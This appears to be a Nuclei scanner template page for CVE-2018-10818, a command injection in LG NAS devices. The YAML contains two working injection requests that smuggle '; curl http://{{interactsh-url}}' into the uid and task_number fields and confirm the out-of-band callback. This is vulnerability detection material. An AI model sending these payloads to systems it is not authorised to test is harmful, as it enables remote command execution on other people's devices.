LG NAS Devices - Remote Code Execution

ID: CVE-2018-10818

Severity: critical

Author: gy741

Tags: cve,cve2018,lg-nas,rce,oast,injection

Description

LG NAS devices contain a pre-auth remote command injection via the “password” parameter.

YAML Source

id: CVE-2018-10818

info:
  name: LG NAS Devices - Remote Code Execution
  author: gy741
  severity: critical
  description: LG NAS devices contain a pre-auth remote command injection via the "password" parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected device.
  remediation: |
    Apply the latest firmware update provided by LG to mitigate this vulnerability.
  reference:
    - https://www.vpnmentor.com/blog/critical-vulnerability-found-majority-lg-nas-devices/
    - https://medium.com/@0x616163/lg-n1a1-unauthenticated-remote-command-injection-cve-2018-14839-9d2cf760e247
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-10818
  classification:
    cve-id: CVE-2018-10818
  metadata:
    max-request: 2
  tags: cve,cve2018,lg-nas,rce,oast,injection
variables:
  useragent: '{{rand_base(6)}}'

http:
  - raw:
      - |
        POST /system/sharedir.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        &uid=10; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'
      - |
        POST /en/php/usb_sync.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        &act=sync&task_number=1;curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: {{useragent}}"
# digest: 4b0a00483046022100af8984e028bf95059a4fb8c6bb0dd0ef3a2168308d5e4955c34e23f24d5afc11022100a670e27195eb22bb4add30473a92fcac6f2b8dbd17fa92af5626fb2f5413b87c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-10818.yaml"

View on Github